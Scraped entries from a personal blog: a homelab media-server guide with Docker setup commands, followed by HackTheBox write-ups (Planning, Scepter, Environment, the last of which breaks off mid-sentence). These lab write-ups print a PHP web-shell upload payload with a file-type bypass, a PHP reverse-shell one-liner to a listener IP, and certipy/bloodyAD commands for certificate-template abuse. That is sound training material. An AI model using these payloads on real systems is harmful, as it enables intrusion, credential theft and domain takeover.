ghcr.io/flaresolverr/flaresolverr:latest Installing Jackett instead of Prowlarr Just use prowlarr, trust me.\nWARN: It's better to use prowlarr to keep all *rrs* apps in sync\ndocker run -d \\ --name=jackett \\ -e PUID=1000 \\ -e PGID=1000 \\ -e TZ=America/Sao_Paulo \\ -e AUTO_UPDATE=true \\ -p 9117:9117 \\ -v /home/akame/jackett/config/:/config \\ -v /home/akame/data/torrents:/data/torrents \\ --restart unless-stopped \\ lscr.io/linuxserver/jackett:latest # Also run Flaresolver. docker run -d \\ --name=flaresolverr \\ -p 8191:8191 \\ -e LOG_LEVEL=info \\ --restart unless-stopped \\ ghcr.io/flaresolverr/flaresolverr:latest Go to http://server_ip:9117 to add the trackers you want to search for stuff. At the bottom, in FlareSolver API url, add http://192.168.1.100:8191/\nGo back to Radarr, we are going to add the indexes there:\nGo to: Settings \u0026gt; Indexers \u0026gt; Add Indexer \u0026gt; Tornzab \u0026gt; Grab the link using \u0026ldquo;Copy Tornzab\u0026rdquo; in Jackett dashboard and the API KEY \u0026gt; Copy both in form for new indexer \u0026gt; Change Categories (Radarr will only take care of Movies, so let only Movies) \u0026gt; Change it\u0026rsquo;s name to match the indexer (optional)\nPlex Media Server Media Server data └── media ├── movies ├── music └── tv Plex only needs access to your media library, so pass -v /host/data/media:/data/media, which can have any number of sub folders like movies, kids movies, tv, documentary tv and/or music as sub folders.\nGet docker file in this link plexinc docker\ndocker run \\ -d \\ --name plex \\ --network=host \\ -e PUId=$(id -u) -e PGID=$(id -g) \\ -e VERSION=docker \\ -e LC-ALL=C.UTF-8 \\ -e TZ=\u0026#34;America/Sao_Paulo\u0026#34; \\ -v /home/akame/plex/config:/config \\ -v /home/akame/plex/transcode:/transcode \\ -v /home/akame/data/media:/data/media \\ --restart=unless-stopped \\ plexinc/pms-docker # Now, in your work pc do: ssh akame@\u0026lt;server_ip\u0026gt; -L 32400:\u0026lt;server_ip\u0026gt;:32400 -N -p 2222 And then access media-plex setup wizard at: http://localhost:32400 and create a big library at /data/media/ or split them and create one for each categories (e.g. /data/media/movies and /data/media/tvs)\nOverseer docker run -d \\ --name overseerr \\ -e LOG_LEVEL=debug \\ -e TZ=America/Sao_Paulo \\ -e PORT=5055 \\ -p 5055:5055 \\ -v /home/akame/overserr:/app/config \\ --restart unless-stopped \\ sctx/overseerr Decluttarr Removed stalled downloads and search for another places\nmkdir /home/akame/decluttar/ \u0026amp;\u0026amp; cd decluttar touch compose.yml Paste the contents below and run it:\nservices: decluttarr: image: ghcr.io/manimatter/decluttarr:latest container_name: decluttarr network_mode: host environment: - PUID=1000 - PGID=1000 - TZ=America/Sao_Paulo - SSL_VERIFICATION=True - IGNORE_PRIVATE_TRACKERS=True - LOG_LEVEL=INFO - REMOVE_TIMER=10 - REMOVE_FAILED=True - REMOVE_FAILED_IMPORTS=True - REMOVE_METADATA_MISSING=True - REMOVE_MISSING_FILES=True - REMOVE_ORPHANS=True - REMOVE_SLOW=True - REMOVE_STALLED=True - REMOVE_UNMONITORED=True - PERMITTED_ATTEMPTS=3 - NO_STALLED_REMOVAL_QBIT_TAG=Protected - MIN_DOWNLOAD_SPEED=50 - RUN_PERIODIC_RESCANS={\u0026#34;SONARR\u0026#34;:{\u0026#34;MISSING\u0026#34;:true,\u0026#34;CUTOFF_UNMET\u0026#34;:true,\u0026#34;MAX_CONCURRENT_SCANS\u0026#34;:10,\u0026#34;MIN_DAYS_BEFORE_RESCAN\u0026#34;:7},\u0026#34;RADARR\u0026#34;:{\u0026#34;MISSING\u0026#34;:true,\u0026#34;CUTOFF_UNMET\u0026#34;:true,\u0026#34;MAX_CONCURRENT_SCANS\u0026#34;:10,\u0026#34;MIN_DAYS_BEFORE_RESCAN\u0026#34;:7}} - FAILED_IMPORT_MESSAGE_PATTERNS=[\u0026#34;Not a Custom Format upgrade for existing\u0026#34;, \u0026#34;Not an upgrade for existing\u0026#34;, \u0026#34;Invalid video file\u0026#34;] - RADARR_URL=http://192.168.1.100:7878 - RADARR_KEY=key_here - SONARR_URL=http://192.168.1.100:8989 - SONARR_KEY=key_here - QBITTORRENT_URL=http://192.168.1.100:8080 - QBITTORRENT_USERNAME=admin - QBITTORRENT_PASSWORD=password_here # - READARR_URL=http://readarr:8787 # - READARR_KEY=\u0026lt;YOUR_API_KEY\u0026gt; restart: unless-stopped Portainer - Optional Portainer to help administrate the containers running on the system. If needed, add WatchTower to keep the images updated.\n# Create volume first docker volume create portainer_data docker run \\ -d \\ -p 8000:8000 -p 9443:9443 \\ --name portainer \\ --restart=always \\ -v /var/run/docker.sock:/var/run/docker.sock \\ -v portainer_data:/data portainer/portainer-ce:lts WatchTower - Optional To update docker automatically\ndocker run -d \\ --name watchtower \\ --restart=unless-stopped \\ -v /var/run/docker.sock:/var/run/docker.sock \\ containrrr/watchtower Zero Tier VPN - Optional Zero Tier VPN, to allow you to access your media plex from anywhere.\ndocker run -d \\ --device=/dev/net/tun \\ --net=host \\ --cap-add=NET_ADMIN \\ --cap-add=SYS_ADMIN \\ --cap-add=NET_RAW \\ -v zerotier-one:\u0026lt;POPULATE_HERE\u0026gt; \\ --name zerotier \\ --restart=unless-stopped \\ zerotier/zerotier sudo docker exec -it zerotier zerotier-cli join \u0026lt;network_id\u0026gt; # Accept it in your zero tier dashboard sudo docker exec -it zerotier zerotier-cli listnetworks # In your devices, configure custom dns to cloudflare. Firewall rules - UFW If you are using UFW, you somehow still need to specify firewall rules (Even with docker -p \u0026lt;port\u0026gt;:\u0026lt;port\u0026gt; bypassing it)\nat /etc/ufw/applications.d/plexmediaserver add:\n[plexmediaserver] title=Plex Media Server (Standard) description=The Plex Media Server ports=32400/tcp|3005/tcp|5353/udp|8324/tcp|32410:32414/udp [plexmediaserver-dlna] title=Plex Media Server (DLNA) description=The Plex Media Server (additional DLNA capability only) ports=1900/udp|32469/tcp [plexmediaserver-all] title=Plex Media Server (Standard + DLNA) description=The Plex Media Server (with additional DLNA capability) ports=32400/tcp|3005/tcp|5353/udp|8324/tcp|32410:32414/udp|1900/udp|32469/tcp Once you have defined your application file tell ufw to reload the application definitions with:\n# Allow Jackett (Optional, only if jackett is used). sudo ufw allow 9117/tcp sudo ufw allow 9117/udp # Allow FlareSolver. sudo ufw allow 8191/tcp sudo ufw allow 8191/udp # Allow qBittorrent. sudo ufw allow 8080/tcp sudo ufw allow 8080/udp # Allow Sonarr, Radarr and Prowlarr. sudo ufw allow 7878/tcp sudo ufw allow 7878/udp sudo ufw allow 9696/tcp sudo ufw allow 9696/udp sudo ufw allow 8989/udp sudo ufw allow 8989/tcp # Plex ports defined in the file above. sudo ufw app update plexmediaserver sudo ufw allow plexmediaserver-all # Reload sudo ufw reload Must do Make sure the directories created by the docker are from the same ID and GID, in my case it\u0026rsquo;s 1000:\nIf your output looks like this:\ndrwxr-xr-x - root 10 May 21:25  data drwxr-xr-x - root 10 May 21:21  jackett drwxr-xr-x - root 10 May 21:25  plex drwxr-xr-x - root 10 May 21:16  qbit drwxr-xr-x - root 10 May 21:28  radarr Change the permission from all of them, or more if you are using more services using:\nsudo chown -R 1000:1000 /home/akame/\u0026lt;path_docker_is_using\u0026gt;/ Troubleshooting Paths in the docker environment. What bad thing can happen?\nThe biggest is that volumes defined in the dockerfile will get created if they’re not specified, this means they’ll pile up as you delete and re-create the containers. If they end up with data in them, they can consume space unexpectedly and likely in an unsuitable place. You can find a cleanup command in the helpful commands section below. This could also be mitigated by passing in an empty folder for all the volumes you don’t want to use, like /data/empty:/movies and /data/empty:/downloads. Maybe even put a file named DO NOT USE THIS FOLDER inside, to remind yourself.\nAnother problem is that some images are pre-configured to use the documented volumes, so you’ll need to change settings in the software inside the Docker container. Thankfully, since configuration persists outside the container this is a one time issue. You might also pick a path like /data or /media which some images already define for a specific use. It shouldn’t be a problem, but will be a little more confusing when combined with the previous issues. In the end, it is worth it for working hard links and fast moves. The consistency and simplicity are welcome side effects as well.\nIf you use the latest version of the abandoned RadarrSync to synchronize two Radarr instances, it depends on mapping the same path inside to a different path on the outside, for example /movies for one instance would point at /data/media/movies and the other at /data/media/movies4k. This breaks everything you’ve read above. There is no good solution, you either use the old version which isn’t as good, do your mapping in a way that is ugly and breaks hard links or just don’t use it at all.\n","permalink":"https://blog.akmee.xyz/homelab/media/","summary":"How I turned an old notebook into a home media server running Plex, qBittorrent and the full arr stack. Less of a tutorial, more of a documented mess that actually works.","title":"Creating a personal Netflix at home"},{"content":"HackThebox Planning Overview Planning is an easy Linux \u0026ldquo;assumed breached\u0026rdquo; machine, meaning you start with default credentials. The machine is straightforward, with an initial remote code execution (RCE) vulnerability via a 2024 Grafana CVE. After gaining a reverse shell, you’ll find yourself inside a Docker container.\nBy inspecting environment variables, you can discover credentials for the host system. These allow you to SSH into the real machine as a standard user. On the host, a local web service is running on port 8000. To access it, you’ll need another set of credentials, which can be found in a local file.\nOnce authenticated, you can port-forward the service and access a web panel that controls cron jobs. This panel allows creation, modification, deletion, and execution of arbitrary cron jobs, which run as root. From this point, privilege escalation is trivial — it\u0026rsquo;s up to you how you retrieve the root flag.\nReconnaissance As for always we start with a nmap scan, this machine is also assume a breached scenario so we already have credentials:\nWhile we take a look at website, i\u0026rsquo;ll let ffuf running to search for subdomains using:\nffuf -w ~/downloads/wordlists/service-names.txt -u http://planning.htb -H \u0026#34;host: FUZZ.planning.htb\u0026#34; -c -v And this is the website:\nMy first thought was try some sort of XSS or SQLi, did not go well. And then i start to search for directory and panels where i could possibly use the credentials that we already have. For directories, i did not find much, but for subdomains i found this:\nI then Add the subdomain to my hosts and took a look at the subdomain page, it was a login page:\nThere was also the version of the framework used in the bottom of the page and my first thought was search for already disclosed vulnerabilities or CVEs. Normally, in Easy Boxes, you need to use a already made POC or find useful information using already disclosed vulns.\nAnd then I searched a bit and found CVE-2024-9264, it\u0026rsquo;s a SQLi which you can then achieve RCE, you also need credentials to use it, which we already have. Since it matched the versions, I decided to try.\nHere is the description:\nI then ran the exploit following the instructions. And then I got the shell, as root, sure it\u0026rsquo;s a docker container, I took a look at the / mount to confirm it:\nSo normally when I get a shell, I would go in the directory where the website is and search for config files (normally they have credentials) or try to dump the database, and I tried, but found nothing useful. I then checked our env variables:\nI got a user called enzo and his password, since ssh was open in this machine I went straight to it:\nAnd there is our user flag already:\nPrivilege Escalation I spent some time searching for a way to escalate my privileges, but no luck. Besides for a few ports opened locally:\nI decided to start by taking a look at port 8000, I sent a GET request from the ssh using curl to see if it was a website:\nIt\u0026rsquo;s alive and needs authentication, but let\u0026rsquo;s forward it to our machine to confirm:\nAccessing the service:\nI tried the credentials I already had at the moment but none of them worked. It was clearly that i had to find more information, I asked GPT for an one line script to search for files that were modified not long ago:\nStarting by down the list, contrab.db was owned by root but was also read free, as you can see below:\nThe .db file was just a json, which contained a clear text password used when backing up the application:\nWith the password, I went to website again to try them:\nSuccessfully logged, it was easy, the website allowed you to run, create, edit, delete cronjobs. I edit the first cronjob, which was responsible to run a script at: /root/scripts/cleanup.sh, which means it probably is running as root:\nI decided to test it first, by creating a random .txt file somewhere I can see it:\nObs: I decided to change to /home/enzo/ later.\nWell, from there is easy, you could do it in the boring way and just cat the flag content:\nBut one fun way is enable setUID bit to /bin/bash, which will make any user that executes /bin/bash run the process with the UID of the file owner (root).\nAdding setUID bit:\nAfter the job ran, we execute bash in the ssh connection:\n","permalink":"https://blog.akmee.xyz/writeups/retired/planning/","summary":"Planning, an easy level Linux machine exploiting a Grafana RCE CVE, escaping Docker via leaked SSH creds, and abusing a cron web panel to execute commands as root.","title":"Planning Writeup - HackTheBox"},{"content":"HackTheBox Scepter Overview Scepter is Hard difficulty Windows machine from HackTheBox. We start by finding a mount point using nfs from the nmap scan in port 2049, after we mount the folder, we can find .pfx, .key and .crt files fro multiple users. We use pfx2john to crack the password for one of the .pfx files and gain valid credentials using the .pfx file. The privilege escalation consists in two vulns regarding ADCS, ESC9 and ESC14. The first works by changing the email from user h.brown which has the user flag and privileges to change privileges that allow us to perform the ESC14 to gain another user. This another user has the ability to dump credentials from all users in the domain using DSYNC, we use that to get the Administrator hash and get the root flag.\nInitial Foothold We start by doing a nmap scan, since it\u0026rsquo;s a Windows box we might as well add the domain to our hosts files:\nThere is not much besides default AD services in the nmap scan, only one service caught my attention:\nThis port is not used by any AD Service, it\u0026rsquo;s the default for NFS(Network File System) protocol. Which it\u0026rsquo;s used to provide file sharing services over a network, let\u0026rsquo;s see what we can find there.\n# Show available mount points in the target. showmount -e 10.10.11.65 # mount the available mount point at ./mnt sudo mount -t nfs 10.10.11.65:/helpdesk ./mnt cp mnt/* ./keys Now we have five files, all the .pfx are password encrypted, as you can see below:\nWhat are .pfx files? pfx is binary container defined by RFC 7292. It\u0026rsquo;s suppose to hold one or more certificates for an AD user and one private key, which matches one of the certs. The file is normally encrypted using AES-256 with a password.\nIn the .pfx file we have: The Private key, which is the most valuable information that this type of file holds, can be used to authentication in the AD environment. If you managed to successfully extract the private-key from the .pfx file, tools like Certipy can be used to generate a Kerberos ticket. e.g.\n# Extract Metadata (optional) certipy cert -pfx user.pfx # Authentication. certipy auth -pfx user.pfx -dc-ip \u0026lt;domain-controller-ip\u0026gt; Certificates And also have the Certificates\nThey serve two main purposes:\nIdentity Mapping - They bind the private key to an AD user account through the Subject or SAN fields. If the certificate is issued by a trusted internal CA and mapped in AD (via UPN, DNS or SID), it enables smartcard-based authentication using PKINIT Chain of Trust (Optional) - The .pfx may also contain intermediate or root certificates needed to validate the chain. If the chain is trusted by the KDC, and the cert has appropriate Extended Key Usage (Client Authentication), the KDC will accept it for Kerberos Authentication. So if the cert is valid and mapped to an AD user, we can issue a ticket and have valid credentials to login using Kerberos.\nWhy do we need certificates anyway?\nIn a domain-controlled Windows environment, you have:\nHundreds or thousands of users and machines Centralized policy enforcement Tight security integration across services (LDAP, SMB, RDP, WinRM, VPN, etc.) Manual key management like SSH doesn’t scale. AD solves this using certificates issued by a trusted Certificate Authority (CA).\nThe certificates are issued and signed by AD Certificate Services (The CA), so we no more need to distribute keys manually, the domain trusts the issuer (CA). And using Kerberos + X.509, certificates are used to login with smartcards or using .pfx files. The KDC verifies if the cert is:\nIssue by the trusted CA of the domain. Mapped to a valid AD user in the domain. Isn\u0026rsquo;t revoked or expired. Now we are getting into Certificate Templates and how they\u0026rsquo;re used by the ADCS to managed policies like: who is certificate, what those certificates are allowed to do and how they\u0026rsquo;re gonna be used. A certificate template in Active Directory Certificate Services (ADCS) is a predefined configuration object stored in the domain. It will defines rules and properties for the certificates that can be issued.\nAD user privileges control what a user can do directly, but cert templates define what cryptographic credentials the user can obtain and how they can use them. Those are separate layers, and template misconfigurations are a common path to domain compromise.\nKey Rules/Properties in a Certificate Template Property Description Security Impact Key Usage What cryptographic operations are allowed (e.g., digital signature, key encipherment) Misuse can allow unintended encryption or signing Extended Key Usage (EKU) Purpose of the cert (e.g., Client Authentication, Smartcard Logon) If ClientAuth is present, cert can be used for logon Key Size and Algorithm RSA 2048/3072, ECC P-384, etc. Weak keys = insecure certs Key Exportability Can private key be exported? If yes, attacker can steal key and impersonate user Subject Name/Alt Name Construction How the cert identifies the user (e.g., UPN, DNS, SID) Controls mapping to AD user accounts Enrollment Permissions Who can enroll or auto-enroll in the template Exposed template = privilege escalation vector Validity Period How long the cert is valid (e.g., 1 year) Longer lifetimes = longer exposure CA Constraints Whether this cert can issue others (for CA templates) Misuse can allow rogue CA creation Scenarios where even after successfully extracting the key, nothing can be done:\nComponent Missing Effect Cert missing from .pfx Cannot prove identity — private key has no associated identity Cert missing from AD AD won’t map it to a user — PKINIT fails Cert not trusted (untrusted CA) Chain validation fails — rejected during auth Cert doesn\u0026rsquo;t have valid EKUs AD ignores it for PKINIT or TLS EKU (Extended Key Usage) is a certificate extension (ExtendedKeyUsage, OID 2.5.29.37) that specifies intended purposes for the certificate. It\u0026rsquo;s enforced by consumers (e.g., Kerberos, TLS, smart card logon) to allow/restrict usage.\nA certificate must contain the correct EKUs for it to be valid in specific authentication scenarios.\nEKU OID Description Client Auth (PKINIT) 1.3.6.1.5.5.7.3.2 Required for Kerberos authentication via certificate (PKINIT) Smart Card Logon 1.3.6.1.4.1.311.20.2.2 Required for smart card–based interactive or RDP logon Server Auth (LDAPS) 1.3.6.1.5.5.7.3.1 Required for domain controller LDAPS EFS (Encrypting FS) 1.3.6.1.4.1.311.10.3.4 Used for file encryption key exchange Code Signing 1.3.6.1.5.5.7.3.3 Binaries or scripts trust chain Email Protection 1.3.6.1.5.5.7.3.4 S/MIME, Outlook signing/encryption EKU Problem Result No EKU at all AD will not accept for PKINIT or smart card Wrong EKU (e.g., only Server Auth) Rejected by AD Missing SmartCardLogon Cannot be used for interactive logon Missing Client Auth Cannot be used for PKINIT or TLS client auth EKU critical and not understood Rejected per RFC Continuing, cracking pkcs12 I could not get john to work with the pfx hashes so I used another tool called crackpkcs12\nI thought they could have different passwords but they end up being all the same, so now we can use these .pfx, but first, now that we know what these files are made for, i would think that it\u0026rsquo;s possible to \u0026ldquo;reassemble\u0026rdquo; that .crt and .key together to create another .pfx.\nIt will ask for the password, which is the same than the other files, it will also for a new password, which will be used below when issuing a ticket for kerberos authentication.\nAs you can see above, we first fix our clock skew disabling the ntp sync from timedatectl and after using ntpdate. And then we request an TGT using pkinit, passing the cert file, the password of the file we just created, domain and the user (Which can be seem by inspecting the cert)\nChecking if our ticket works:\nCommands:\n# Install crackpkcs12 first. crackpkcs12 -d ~/rockyou.txt whatever.pfx openssl pkcs12 -export -in baker.crt -inkey baker.key -out fuck.pfx cd PKINITTools source .venv/bin/activate timedatectl set-netp off sudo ntpdate -u \u0026lt;IP\u0026gt; ./gettgtpkinit.py -cert-pfx fuck.pfx -pfx-pass \u0026lt;password-you-set\u0026gt; scepter.htb/b.baker -dc-ip \u0026lt;IP\u0026gt; # Or get a NTLM Hash certipy auth -pfx \u0026#34;baker.pfx\u0026#34; -dc-ip \u0026#39;10.10.11.65\u0026#39; -username \u0026#39;d.baker\u0026#39; -domain \u0026#39;scepter.htb\u0026#39; -debug export KRB5CCNAME=$HOME/dump/htb/scepter/baker.ccache nxc \u0026lt;IP\u0026gt; -d scepter.htb -u b.baker --use-kcache Now that we have a valid user credential, let\u0026rsquo;s get some data to import in bloodhound:\nBy taking a look at what our owned users can do, it\u0026rsquo;s possible to change the password for the user a.carter, since we have the ForceChangePassword privilege. So let\u0026rsquo;s set it to: Password123!\nNow that we have also owned a.carter let\u0026rsquo;s take a look at he can do by checking his Outbound Object Controls:\nWe are part of the group IT SUPPORT and the users in this group has a GenericAll permission over the OU (Organizational Unit) STAFF ACCESS CERTIFICATE\nThere is not much to see in bloodhound, let\u0026rsquo;s try to find more information using certipy searching for vulnerable templates:\nLooks like it\u0026rsquo;s vulnerable to ESC9, let\u0026rsquo;s see how this vuln works, i\u0026rsquo;ll be reading about it in this site: ESC9\nESC9 ESC9 abuses configuration in templates to request a certificate for another identity/user by changing the SubjectAltName or Certificate Subject Name. Of course, there is requirement, this is not a default behavior.\nRequirements to perform ESC9:\nStrongCertificateBindingEnforcement not set to 2 (default: 1) or CertificateMappingMethods contains UPN flag (0x4). The template contains the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value The template specifies client authentication EKU. GenericWrite right against any account A to compromise any account B We have all of them, but why are these needed?\n1 - StrongCertificateBindingEnforcement set to 2 means that strong binding is enforced, requiring the user requesting the certificate to match the certificate subject. KDC would reject certificates whose subject/UPN doesn’t match the authenticated user making the request. There is also the CertificateMappingMethods, which if set to 0x4, means that the KDC accepts UPN-based mapping, allowing a certificate with a spoofed UPN to authenticate as another user.\n2 - Normally, the CA embeds the SID of the requester in the certificate, allowing the KDC to verify the requester’s identity, when CT_FLAG_NO_SECURITY_EXTENSION is set, the certificate has no SID binding, so the KDC falls back to UPN matching for identity mapping, opening the door for impersonation via spoofed UPN in SAN.\n3 - Well, without it the template does not have rights to authenticate.\nSo, in theory, it would be:\n# Change userPrincipalName of the d.baker to target certipy account update -username \u0026#34;a.carter@$DOMAIN\u0026#34; -p \u0026#34;$PASSWORD\u0026#34; -user d.baker -upn target (we dont know yet) # The vulnerable certificate can be requested as d.baker. certipy req -username \u0026#34;d.baker@$DOMAIN\u0026#34; -hashes \u0026#34;$NT_HASH\u0026#34; -target \u0026#34;KDC_HOST\u0026#34; -ca \u0026#39;ca_name\u0026#39; -template \u0026#39;vulnerable template\u0026#39; # In real pentests it would be good to change it back to something else: certipy account update -username \u0026#34;user1@$DOMAIN\u0026#34; -p \u0026#34;$PASSWORD\u0026#34; -user user2 -upn \u0026#34;user2@$DOMAIN\u0026#34; # Authenticate using the certificate impersonating target user. certipy auth -pfx \u0026#39;user3.pfx\u0026#39; -domain \u0026#34;$DOMAIN\u0026#34; Let\u0026rsquo;s first define our target:\nWell, the only user in the group that allow us to get a shell into the machine.\nExploiting ESC9 So, first I started by changing our password again since it\u0026rsquo;s been some time reading and cleanup scripts probably already ran. I did it two times because i did a typo in the first command :p\nNext I added the GenericAll over our OU as a user instead of trough the group, without it you can\u0026rsquo;t change the UPN name for h.brown. Then i used certipy to change the upn name for the user d.baker to h.brown using the a.carter. Which will later be used to map our cert for d.baker straight to h.brown.\nThen i tried to request the cert for the user d.baker, it failed\u0026hellip;. it seems it\u0026rsquo;s because we need an email name. Then i tried to add it using BloodyAD and request it again, and now\u0026hellip;.it worked!! we have the d.baker.pfx which when used to authenticate, would map to h.brown instead.\nWell, it didn\u0026rsquo;t:\nSo i tried again, but now changing the email to h.brown@scepter.htb instead of d.baker@scepter.htb:\nFinally man, let\u0026rsquo;s get our flag. Export his ccache, edit realm conf with:\nAnd login:\nLet\u0026rsquo;s get data again with bloodhound to see with any new information arises.\nThat\u0026rsquo;s the only thing i found, there is no outbound dangerous permissions, only this:\nSo i used bloodhound to find for whatever permission or attribute this user can write to:\nbloodyAD --host dc01.scepter.htb -d scepter.htb -u h.brown -k get writable --detail And:\nLooks like we can gain the user p.adams with ESC14. I will not even try to explain it here, because i didn\u0026rsquo;t even understand it myself. But it follows the same logic than the ESC9 but now we are going to abuse the explicit mapping.\nFrom Hacker recipes\nFor an explicit match, the altSecurityIdentities attribute of an account (user or machine) must contain the identifiers of the certificates with which it is authorised to authenticate. The certificate must be signed by a trusted certification authority and match one of the values in the altSecurityIdentities attribute.\nThe matches that can be added to the attribute are strings that follow a syntax defined with the identifiers of a certificate:\nThese identifiers can be found in the various fields of an X509 v3 certificate.\nIn AD CS, the certificate template specifies how the CA should populate the Subject field and the SAN extension of the certificate based on the enrollee\u0026rsquo;s AD attributes.\nESC14 Requirements:\nSo we first set the altSecurityIdentity to match our target email. And then attempt to get a valid session changing the email for b.baker like in the first time, but now to p.adams instead.\n# Change password for a.carter, as there\u0026#39;s a cleanup script bloodyAD --host \u0026#34;dc01.scepter.htb\u0026#34; -d \u0026#34;scepter.htb\u0026#34; -u \u0026#39;d.baker\u0026#39; -p \u0026#39;\u0026lt;HASH\u0026gt;\u0026#39; set password \u0026#34;a.carter\u0026#34; \u0026#39;Password123!\u0026#39; # Set a.carter owner of the \u0026#34;Staff Access\u0026#34; OU bloodyAD --host dc01.scepter.htb -d scepter.htb -u a.carter -p \u0026#39;Password123!\u0026#39; set owner \u0026#34;OU=Staff Access Certificate,DC=scepter,DC=htb\u0026#34; a.carter # Grant GenericAll for a.carter on the target OU bloodyAD --host dc01.scepter.htb -d scepter.htb -u a.carter -p \u0026#39;Password123!\u0026#39; add genericAll \u0026#34;OU=Staff Access Certificate,DC=scepter,DC=htb\u0026#34; a.carter # Hijack mail attr of the enrollable d.baker to victim p.adam bloodyAD --host dc01.scepter.htb -d scepter.htb -u a.carter -p \u0026#39;Password123!\u0026#39; set object d.baker mail -v \u0026#39;p.adams@scepter.htb\u0026#39; # Request the pfx file certipy req -u \u0026#39;d.baker\u0026#39;@scepter.htb -hashes \u0026#39;\u0026lt;HASH\u0026gt;\u0026#39; -ca scepter-DC01-CA -template StaffAccessCertificate -target dc01.scepter.htb # Get the ntlm hash for p.adams certipy auth -pfx d.baker.pfx -username p.adams -domain scepter.htb -dc-ip 10.10.11.65 And by taking a look at what p.adams can do, we see this:\nTaking a look what bloodhound has to say:\nAnd we rooted it! :D\n","permalink":"https://blog.akmee.xyz/writeups/retired/scepter/","summary":"Scepter, a hard level Windows machine where two chained ADCS misconfigurations are the heart of the box, with some certificate cracking and BloodHound enumeration to set the stage.","title":"Scepter Writeup - HackTheBox"},{"content":"HackTheBox Environment Initial Foothold Let\u0026rsquo;s start with a Nmap scan:\nsudo nmap -sC -sV -vv -oN nmap $IP -sC is for default scripts, -sV to enable service detection scripts, -vv to get more verbosity to display more info and save result to a file called Nmap.\nThat is normally enough, if i don\u0026rsquo;t find anything in a couple hours i come back and try to scan all ports using:\nsudo nmap -p- --min-rate=10000 -v $IP but let\u0026rsquo;s skip it for now. Our scan is already done:\nWe have ssh and nginx services available, quite straight forward. Taking a look at the website:\nThere is not much in this initial page, besides a form to join their email list, which i did not find anything useful so I moved on. Searching for default redirects/pages/directories it\u0026rsquo;s possible to find a login page at /login:\nLet\u0026rsquo;s intercept this request and see if one of the fields are vulnerable. Here is the original request:\nI started by putting a comma in every field, since it\u0026rsquo;s a login page it should request a database to check the stored credentials.\nFinding Lavarel Version from Leak And the server returned: 500 Internal Server Error, I cleaned the fields until I found that the one causing the error was the comma in the remember field. The server also leaked a bunch of information after the error:\nSo now we have the versions running in the backend and one application environment name. Just by looking at the code, it\u0026rsquo;s possible to see that our variable $keep_loggedin is not vulnerable to any kinda of injection, we also can see that just by changing the remember field to anything besides True or False would trigger the error. So, what now? Let\u0026rsquo;s try to search for CVEs/exploits in this Lavarel version. Didn\u0026rsquo;t take so much time to find about an Argument Injection:\nArgument Injection Veracode Center\nCVE-2024-52301 In the website marked with red, it\u0026rsquo;s possible to find the CVE name, I didn\u0026rsquo;t find any POC there tho, so I searched for the CVE name in Github, right after I found a POC: CVE-2024-52301\nAlso, from from Lavarel Github:\nWhen the register_argc_argv php directive is set to on , and users call any URL with a special crafted query string, they are able to change the environment used by the framework when handling the request.\nLet\u0026rsquo;s test it, nothing of it will matter if register_argc_argv it\u0026rsquo;s not set to on in this application, so not everything in this version is vulnerable to it.\nBased on the code leaked, we can also see that is possible to bypass the login by changing the environment to preprod. So we can test it by just appending ?--env=preprod in the url and see if we got redirect to dashboard or by finding a header/footer which shows the current environment.\nLet\u0026rsquo;s try to bypass the login then. Intercept the POST request with burp and append ?--env=preprod in the URL like in the screenshot below:\nForward the request and you will see that we successfully got redirect to /dashboard :D\nSo now we have a list of potential usernames, but in short, that is not what we want. There is a bypass when uploading a new profile picture, leading to a LFI which can become a RCE. So, trying to find bypasses for file uploads is basically try and error, if you don\u0026rsquo;t know how to do this I recommend you to take a look at HackTheBox File Upload Module.\nBypassing File Upload and Getting RCE I\u0026rsquo;ll not go deep into this, let\u0026rsquo;s go straight to the bypass\nYou need to change the Content-Type to image/gif and match the MagicBytes with the gif format (GIF89a), like in the screenshot above. The html part is not necessary, you can get the system execution using the url as well. And to make it a valid php file, so the server can execute, it\u0026rsquo;s done by appending a dot after the .php extension. So the payload will be like:\nContent-Disposition: form-data; name=\u0026#34;upload\u0026#34;; filename=\u0026#34;fuckk.php.\u0026#34; Content-Type: image/gif GIF89a \u0026lt;html\u0026gt; \u0026lt;body\u0026gt; \u0026lt;form method=\u0026#34;GET\u0026#34; name=\u0026#34;\u0026lt;?php echo basename($_SERVER[\u0026#39;PHP_SELF\u0026#39;]); ?\u0026gt;\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;TEXT\u0026#34; name=\u0026#34;cmd\u0026#34; autofocus id=\u0026#34;cmd\u0026#34; size=\u0026#34;80\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;SUBMIT\u0026#34; value=\u0026#34;Execute\u0026#34;\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;pre\u0026gt; \u0026lt;?php if(isset($_GET[\u0026#39;cmd\u0026#39;])) { system($_GET[\u0026#39;cmd\u0026#39;] . \u0026#39; 2\u0026gt;\u0026amp;1\u0026#39;); } ?\u0026gt; \u0026lt;/pre\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; Your payload will be saved and the site will print where, in my case it\u0026rsquo;s in: http:\\/\\/environment.htb\\/storage\\/files\\/fuckk.php\nFrom there is easy to get a shell, I used the following payload.\n┬─[akame@starsfall:~/d/h/environment]─[0] ╰─\u0026gt;$ cat ~/tools/shells/one-line-shell.php php -r \u0026#39;$sock=fsockopen(\u0026#34;10.10.14.12\u0026#34;, 9001);exec(\u0026#34;/bin/sh -i \u0026lt;\u0026amp;3 \u0026gt;\u0026amp;3 2\u0026gt;\u0026amp;3\u0026#34;);\u0026#39; # Don\u0026#39;t forget to start the listener. ┬─[akame@starsfall:~/d/h/environment]─[0] ╰─\u0026gt;$ rlwrap nc -lvnp 9001 Upgrading my shell so i can get clear:\nYour target only have one user, which is hish. His directory let us write/read in it, so we do not even need to look for passwords in the database.\nAnd there is our first flag :D\nPrivilege Escalation Other thing you can notice in the hish home is the non-default backup directory, let\u0026rsquo;s take a look into it:\nThe key used to encrypt it is, probably, in /home/hish/.gnupg. Let\u0026rsquo;s bring both archives to my machine and try to decrypt it.\n# Host /usr/bin/python3 -m http.server \u0026lt;port\u0026gt; # Attacker # Get all files using --recursive flag. wget -r http://10.10.11.67:\u0026lt;port\u0026gt;/.gnupg wget http://10.10.11.67:\u0026lt;port\u0026gt;/backup/keyvault.gpg gpg --homedir \u0026lt;.gnupg\u0026gt; --decrypt keyvault.gpg And then use the keys to decrypt the keyvault.gpg:\nBy default gpg tries to use keys in the home directory of the current user so it would look into /home/\u0026lt;myuser\u0026gt;/.gnupg and would not find the keys needed to 